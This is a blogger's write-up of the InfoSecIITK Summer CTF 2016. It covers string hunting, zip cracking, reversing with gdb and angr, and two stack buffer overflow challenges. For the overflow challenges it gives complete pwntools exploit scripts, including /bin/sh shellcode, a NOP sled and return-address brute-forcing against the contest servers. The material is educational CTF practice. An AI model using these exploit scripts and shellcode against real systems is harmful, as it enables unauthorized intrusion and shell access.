InfoSecIITK Summer CTF 2016

The Event

My friend ketanhwr informed me about this CTF and I decided to participate. The contest was of around 48hrs and the team limit was of 2 members so we participated together, as the team psychedelics. We stood 2nd in the contest. Might have been first too, but my internet connection betrayed me around 15 hours before the contest(we were on top then) ended. One of the challenges remained to be solved, which I did after the contest.

The contest was held on the fbctf platform. I had heard about the platform but had never played on it. It indeed had a pretty good looking UI, but it lagged sometimes and I had to reload the page again and again sometimes to access different challenges. The challenges had been awarded points according to the difficulty level. I found some of the challenges to be really easy while others were tough (just as it should be). My favourite challenges in this contest were the pwning ones(South Africa and Australia). Overall, I enjoyed the CTF :) .

Write-ups(from easy to hard difficulty level)

Argentina

We were given this binary. Running the strings command gives away the flag itself XD. flag: flag{_lord_of_the_strings_}

challenges solved with just the strings command=1

Mexico

We were given this binary. Running the strings command against gives a few strings which look like they could be passwords. Trying all of them out we see that hunter2 matches. Using this password, we get the flag: flag{_hddislh34bj302hd83d09f23j2_} on running the binary with it.

challenges solved with just the strings command=2

Iceland

We were given this pcap file. Running strings download_22c3d007c7484cd060b000384dc11524.pcap | grep flag gives away the flag. Now it’s 3 challenges down with strings. Hold on, there’s more XD .

challenges solved with just the strings command=3

Libya

We were given this pcap file. Running strings against it, I piped the output to a file and did a Ctrl-F + password. When I had just typed pas, Sublime Text jumped to a portion that was definitely a chat log as given in the question.

|p~hey, if you type in your pw, it will show as stars+yqWr
sK+yqW
|p~********* see!+yqW
sL+yqW
sLhunter2+yqW
+yqW
sLdoesnt look like stars to me+yqW
+yqWV
<noob> *******+yqW`,
sL+yqW
thats what I see+yqWV1
sV+yqWo1
sVoh, really?+yqW
Absolutely+yqW*7
sVyou can go hunter2 my hunter2-ing hunter2+yqW
+yqWR
s`haha, does that look funny to you?+yqW
+yqW&
lol, yes. See, when YOU type hunter2, it shows to us as *******+yqW
s`thats neat, I didnt know IRC did that+yqWc
yep, no matter how many times you type hunter2, it will show to us as *******+yqW#
s`awesome!wait, how do you know my pw?+yqWZ
s`oh, ok.+yqW
+yqW
er, I just copy pasted YOUR ******'s and it appears to YOU as hunter2 cause its your pw+yqWQ

So the password was hunter2 and encrypting it using the pbkdf2 encryption as mentioned in the challenge, we got a string which was the flag.

challenges solved with just the strings command=4

Afganistan

We were given this whose password we were supposed to crack. I used the Ultimate Zip Cracker tool(I used windows on a VM) for this challenge. Brute-forcing using lower case letters only, I got the password pwned. Using this I extracted the zip file and got flag.jpg file which had the flag: flag {_flag_flag_flag_}.

Ukraine

We were given this binary. First of all I tried the strings command and got an obvious red herring: flag{_not_me!_}. On analyzing the disassembly I found out that there are 2 suspicous functions do_not_forget_me() and generate_flag() which are not being called at all. On analyzing do_not_forget_me() I saw that it calls generate_flag(-7). Also, the strings command had given another suspicious looking string earlier HtUlZpH. Opening the binary up in gdb, I set $eip=address of do_not_forget_me() after main() and stepped instruction by instruction to find out what was happening. I found out that the H in HtUlZpH was converted to A and t to m and so on. It was clearly a ROT19 encryption. So, decrypting the HtUlZpH we get AmNeSiA. I tried flag{AmNeSiA} but it didn’t work, but judging by the general pattern of flags I thought flag{_AmNeSiA_} might work, and it did :) .

Japan

We were given this binary, which was a usual crackme which checked against a password. I solved this challenge using the symbolic execution engine of the tool angr and radare2. First of all I analyzed the control flow graph in radare2. We needed to avoid the address 0x8048799 and reach the address 0x8048797. So I quickly wrote a python script:

import angr
p=angr.Project('./noob_reverser_7a8a46b587c40f1a49111d9d1be7daf7')
pg=p.factory.path_group()
pg.explore(find = 0x8048797, avoid=0x8048799)
print pg.found[0].state.posix.dumps(0)

Running the script, I got the password I_don't_need_password,_I_am_the_password!! in a few seconds , and using this while executing the binary, I got the flag flag{_needs_more_practice_}.

South Africa

We were given this binary and it’s source which was running as a service on ec2-52-66-67-21.ap-south-1.compute.amazonaws.com on port 9998. We were supposed to pwn it and get shell so that we could read the flag in the file flag.txt. I spent a lot of time in this challenge.

The binary inputs a username and a password, generates a random token and stores it along with the username in the char buf[300] array. It clearly had a buffer overflow vulnerability becuse the size was not checked in this statement sprintf(buf, "%s:%s", token, uname); . I knew what I had to overflow the char buf[300], overwriting the return address with the address of the /bin/sh shellcode which I had to place somewhere in the buffer . First I wrote the exploit for the binary while executing it in gdb itself. Unfortunately it did not work outside gdb due to different stack addresses. Bummer!. Then I wrote an exploit outside gdb for the binary(attaching gdb to the process for debugging). The exploit worked on the binary alright, but not on the running service. Another Bummer!. Ofcourse that was due to different stack addresses again. So I wrote the exploit with as big an NOP sled as I could and tried different addresses near the one which were working on my binary, but none seemed to work. Finally, tired of this, I tried different addresses in a loop using a python script till I struck one which worked.

from pwn import *
import time

addr=0xffffcb04

for i in range(0, 1024*8, 256):
	# p = process('./safe_auth_a92e81cf53c6ff2b85f9f641e727c657')
	p=remote("ec2-52-66-67-21.ap-south-1.compute.amazonaws.com", 9998)

	nop_sled='\x90'*141
	shellcode='\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42'
	
	ret_addr=p32(addr+i)
	print repr(ret_addr)
	password='\x90'*122+'\n'

	payload=nop_sled+shellcode+ret_addr+password


	# gdb.attach(p)

	p.send(payload)
	try:
		p.sendline("ls")
		p.recv(1024)
		p.interactive()
	except:
		pass
	time.sleep(0.2)
	p.close()

And Voila! 0xffffdb04 worked. I was exalted when I got the shell and read the flag from the flag.txt file. flag{rein4Ahcquaa6ahDueWa9el1}

Australia

We were given just this binary which was running as a service on ec2-52-66-67-21.ap-south-1.compute.amazonaws.com on port 9999.The binary accepted a length of our input message which was supposed to be max 120(although it didn’t check that anywhere). Also it accepted the message string.

It too was a stack based buffer overflow in which we had to overwrite the return address of the function send_msg() with the address of read_flag(). However, during the process we had to be careful not to overflow some of the variables with infeasible values. I did a lot of tinkering in this challenge. Trying various inputs, and figuring out how it changes the execution in gdb.

08048622 <send_msg>:
[...snip...]
 8048684:	8d 55 80             	lea    -0x80(%ebp),%edx
 8048687:	8b 45 fc             	mov    -0x4(%ebp),%eax
 804868a:	01 d0                	add    %edx,%eax
 804868c:	50                   	push   %eax
 804868d:	68 fb 87 04 08       	push   $0x80487fb
 8048692:	e8 59 fe ff ff       	call   80484f0 <[email protected]>
 8048697:	83 c4 08             	add    $0x8,%esp
 804869a:	83 45 fc 01          	addl   $0x1,-0x4(%ebp)
 804869e:	8b 45 f8             	mov    -0x8(%ebp),%eax
 80486a1:	39 45 fc             	cmp    %eax,-0x4(%ebp)
 80486a4:	7c de                	jl     8048684 <send_msg+0x62>
[...snip...] 

I put breakpoints on 0x804868a and 0x80486a1 and examined the execution using various inputs. I would continue the execution till 120 hits on the breakpoints using c 120. And then go step by step till I saw something interesting happen. The instruction on 0x804868a seemed to be most interesting. Apparently eax was the offset from the start of the input array which was being overwritten with our input. So all we had to do was overwrite this offset carefully with the offset of address where the return address of the send_msg() function was placed, overwriting the return address with the address of the function read_flag(). At the same time we did could not increase the value of eax over the max size of message we had input. Keeping all these things in mind and after many many slight modifications to my initial input(which gdb helped me in finding out), I finally managed to successfully do this. Mainly, I ran this instruction x/128xw $edx at the breakpoint on 0x804868a to examine how the scanf function was modifying the stack, and x/16xw $ebp-0x1c at the breakpoint on 0x80486a4 to find out the offset at which the character was being copied and the counter for the message size. I also created a bogus flag.txt file in the working directory to test my exploit on my system first.

from pwn import *
import time

# p=process('./messenger_7a540c58c0fa2197a09ca0c1340e1c79')
p=remote("ec2-52-66-67-21.ap-south-1.compute.amazonaws.com", 9999)

msg_size='256'
padding='B'*119+'\n'
msg_size_overwrite='\x88'+'\x00'*3
offset_overwrite='\x80'
more_padding='Z'*3
ret_address=p32(0x0804860b)

msg = msg_size_overwrite + offset_overwrite + more_padding + ret_address
payload = msg_size+ padding + msg

# gdb.attach(p)

time.sleep(1)
print p.recv(1024)
p.send(payload + '\n')
time.sleep(1)
print p.recv(1024)
p.close()

The script was running fine on my machine, but the service wasn’t responding properly idk why. After many many tries and changes of time.sleep(*), almost luckily I got the flag(The flag was flag{_No_Such_Agency_}) by the same script which was not giving me the flag earlier. Later when I tried the same script, it didn’t work either. It was some server side issue, because I got the flag each time on my machine. Anyways, my exploit worked and that’s what matters!

Suggestions for the organizers

  • More challenges
  • Harder challenges
  • More contestents(Maybe put up the event on ctftime.org)
  • Keep up the good work :)